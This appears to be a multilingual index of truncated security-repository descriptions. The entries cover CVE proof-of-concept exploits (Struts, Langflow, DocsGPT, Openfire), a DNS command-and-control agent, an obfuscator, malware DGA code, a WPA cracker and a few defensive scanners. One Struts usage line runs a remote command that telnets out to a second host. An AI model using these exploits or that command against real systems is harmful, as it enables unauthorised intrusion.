CVE-2019-6690

要約 これは、python-gnupg 0.4.3 CVE-2019-6690 における入力検証不備のシンプルなPoCです。 脆弱性の影響を受けるバージョン python python-gnupg 0.4.3 python python-gnupg 0.3.6 python python-gnupg 0.3.5 python python-gnupg 0.3.4 緩和策 ユーザーはバージョン0.4.4にアップグレードしてください。 テスト環境 Dockerイメージ docker pull avfisherdocker/python-gnupg0.4.3:CVE-2019-6690...

CVE-2025-0868

ペネトレーションテストプロジェクトレポート: CVE-2025-0868 の悪用（JSON Eval による DocsGPT RCE） 1. はじめに オープンソースの DocsGPT ライブラリにおいて、JSON ペイロードを解析する際の eval の安全でない使用が原因で、重大なリモートコード実行（RCE）の脆弱性（CVE-2025-0868）が 2025年2月20日に公開されました。 主な詳細: 影響を受ける DocsGPT バージョン: 0.8.1 ～ 0.12.0 CVSS 4.0 スコア 9.3（CRITICAL） 認証なし・ネットワーク経由でのコードインジェクションを許容...

DNS-Persist

DNS-Persist DNS-Persist は、DNS をコマンド&コントロールに使用するポストエクスプロイテーションエージェントです。サーバーサイドのコードは Python で書かれており、エージェントは C++ でコーディングされています。これは最初のバージョンであり、今後さらに多くの機能と改善が追加される予定です。 はじめに 作者 0x09AL - https://twitter.com/0x09al 免責事項 このソフトウェアを違法な目的で使用しないでください。 著作者は、ここで提供されるコードの誤用について一切の責任を負いません。 車輪の再発明をしたのか？ DNS C2...

CVE-2024-23897

使い方 python3 exp.py...

PyFuscation

PyFuscation python3 필요 사용법: PyFuscation.py -h -f -v -p --ps SCRIPT 선택적 인수: • -h, --help 도움말 메시지를 표시하고 종료 • -f 함수 난독화 ○ 먼저 수행하세요... 가장 잘 작동할 가능성이 높습니다. • -v 변수 난독화 ○ 변수를 난독화하려면 매개변수도 함께 난독화하세요. • -p 매개변수 난독화 ○ 매개변수를 난독화하려면 변수도 함께 난독화하세요. 필수 인수: --ps python3 PyFuscation.py -fvp --ps...

CVE-2023-32315-POC

CVE-2023-32315-POC CVE-2023-32315-Openfire-Bypass-Py 개요 이 코드는 CVE-2023-32315 Python 버전의 POC로, 대상 웹사이트가 CVE-2023-32315 취약점의 영향을 받는지 확인하고 영향을 받는 웹사이트에서 일부 작업을 수행하기 위한 일련의 작업을 실행합니다. 확인 결과, cookie의 csrf와 jsessionid는 필수가 아니며, 형식만 맞으면 됩니다. 4.0.x 정도의 낮은 버전에서는 csrf가 사용되지 않습니다. 본 문서는 webshell을 제공하지 않으며,...

CVE-2012-2982-Python-PoC

CVE-2012-2982-Python-PoC これは、OSCP学習の演習としてMetasploitモジュールから変換したものです。もともとは、TryHackMeのGamezoneボックスに対して手動で使用できる公開エクスプロイトがなかったことに不満を感じたことがきっかけです。Metasploitのコードを分析し、Pythonに変換しました。 ユーザーagent47を示す証明スクリーンショット:...

shellcode2assembly

ShellcodeToAssembly shellcodetoasm.py에서 자신의 셸코드로 교체하십시오. 엔디언 타입은 리틀 엔디언입니다. shellcode = '' 설치 git clone https://github.com/blacknbunny/ShellcodeToAssembly.git && cd ShellcodeToAssembly/ && pip2 install -r requirements.txt && python2 shellcodetoasm.py 모듈 수동 설치 pip install -r requirements.txt 또는 pi...

MalScan

MalScan MalScan은 Python으로 작성된 간단한 PE 파일 휴리스틱 스캐너입니다. PE 파일을 빠르게 분석하여 의심스러운 요소가 있는지 확인할 수 있습니다. 간단한 도구이므로 특별한 기능을 많이 제공하지는 않습니다. 자유롭게 확장하거나 원하는 대로 사용할 수 있습니다. 지원 사항 파일 정보 MD5, SHA1, 타임스탬프 PEiD 시그니처 검사 사용자 정의 Yara 규칙 통합 섹션, 임포트, 익스포트, 리소스 및 TLS 콜백 개요 일부 사용자 정의 휴리스틱 제공 :- 설치 Python 2.7이 설치되어 있어야 합니다...

CVE-2025-3248

CVE-2025-3248: Langflow の未認証リモートコード実行（RCE） このリポジトリには2つの Python スクリプトが含まれています： LangflowCheck.py: CVE-2025-3248 に脆弱な Langflow AI インスタンスをチェックするスキャナです。 exploit.py: 脆弱な Langflow ターゲットに対する動作するリバースシェルエクスプロイトです。 概要 CVE-2025-3248 は Langflow AI における重大な脆弱性で、未認証の攻撃者 が /api/v1/validate/code...

-CVE-2017-9805-

脆弱性情報 リソース: https://vulners.com/cve/CVE-2017-9805 これは何ですか？ S2-052に脆弱なStruts2をホストするシステムのシェルにリモートコマンドを実行できるPythonエクスプロイトスクリプトです。 使用方法 python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234" Apache Struts XStream REST vulnerability - S2-052 Creati...

CVE-2024-6205

CVE-2024-6205 pip install requests これはWordPressプラグインの最近の脆弱性のPythonで書かれたPoCです。詳細はこちら。 https://nvd.nist.gov/vuln/detail/CVE-2024-6205 https://cvefeed.io/vuln/detail/CVE-2024-6205...

domain_generation_algorithms

ドメイン生成アルゴリズム マルウェアのドメイン生成アルゴリズム（DGA）をPythonで再実装しました。 概要 banjori 別名 MultiBanker 2, BankPatcher リンク http://johannesbader.ch/2015/02/the-dga-of-banjori/ ドメイン例 earnestnessbiophysicalohax.com kwtoestnessbiophysicalohax.com rvcxestnessbiophysicalohax.com hjbtestnessbiophysicalohax.com...

attackintel

UPDATE 26 Nov 2018 MITRE has deprecated the ATT&CK API functionality and will soon be phasing it out. They have moved to utilizing STIX. My code will be available for reference but you can check out my ATT&CK Intel webapp which is in the preliminary phases of development and offers the same info...

attackintel

업데이트 2018년 11월 26일 MITRE는 ATT&CK API 기능을 더 이상 사용하지 않기로 결정했으며 곧 단계적으로 폐지할 예정입니다. STIX를 활용하는 방향으로 전환했습니다. 제 코드는 참조용으로 계속 제공되지만, 현재 개발 초기 단계에 있으며 동일한 정보를 제공하는 ATT&CK Intel 웹앱을 확인해 보실 수 있습니다. 아래 링크가 있습니다. 항상 개선을 위해 노력하고 있습니다. 웹앱에 대한 제안이 있으시면 gr4ym4ntxatgmaildotcom으로 제안을 보내주세요. 즐기세요. ATT&CK INTEL 웹앱...

xortool

xortool.py xor解析を行うためのツール： キーの長さを推測（一致する文字の数に基づく） キーを推測（最も頻出する文字の知識に基づく） 注意: xortool は現在 Python 3 でのみ動作します。旧 Python 2 版は py2 ブランチにあります。pip パッケージは更新済みです。 インストール $ pip3 install xortool このリポジトリの開発またはビルドには、poetry が必要です。 poetry build pip install dist/xortool.whl 使用法 xortool A tool to do some xor...

web-traffic-generator

web-traffic-generator A quick and dirty HTTP/S "organic" traffic generator. About Just a simple poorly written Python script that aimlessly "browses" the internet by starting at pre-defined ROOTURLS and randomly "clicking" links on pages until the pre-defined MAXDEPTH is met. I created this as a...

web-traffic-generator

웹 트래픽 생성기 빠르고 간단한 HTTP/S "유기적" 트래픽 생성기입니다. 소개 단순한 형편없이 작성된 파이썬 스크립트로, 미리 정의된 ROOTURLS에서 시작하여 페이지의 링크를 무작위로 '클릭'하면서 미리 정의된 MAXDEPTH에 도달할 때까지 인터넷을 목적 없이 '서핑'합니다. 이 도구는 침해 대응/네트워크 방어 시뮬레이션에서 사용할 노이즈 생성기로 만들었습니다. 유일한 문제는 시뮬레이션 환경에 여러 IDS/IPS/NGFW 장비가 있어서 단순한 TCP 재생캔 트래픽을 통과시키고 로깅하지 않는다는 점입니다. 가능한 한...

WiFiBroot

4-way Handshake & PMKID를 위한 무선 침투 테스트/크래킹 도구 설명 WiFiBroot는 클라이언트에게 WPA/WPA2 네트워크 크래킹을 위한 올인원 기능을 제공하기 위해 제작되었습니다. 이 도구는 대부분 scapy 에 의존하며, Python에서 잘 갖춰진 패킷 조작 라이브러리입니다. 무선 인터페이스를 다른 채널에서 작동시키는 것을 제외한 거의 모든 프로세스는 scapy 계층 및 기타 함수에 의존합니다. 채널 변경은 기본 리눅스 명령어 iwconfig 를 통해 수행되며, 이때 sudo 권한이 필요할 수 있습니다...

poro

poro Description Scan for publicly accessible assets on your AWS environment Services covered by this tool: AWS ELB API Gateway S3 Buckets RDS Databases EC2 instances Redshift Databases Poro also check if a tag you specify is applied to identified public resources using --tag-key and --tag-value...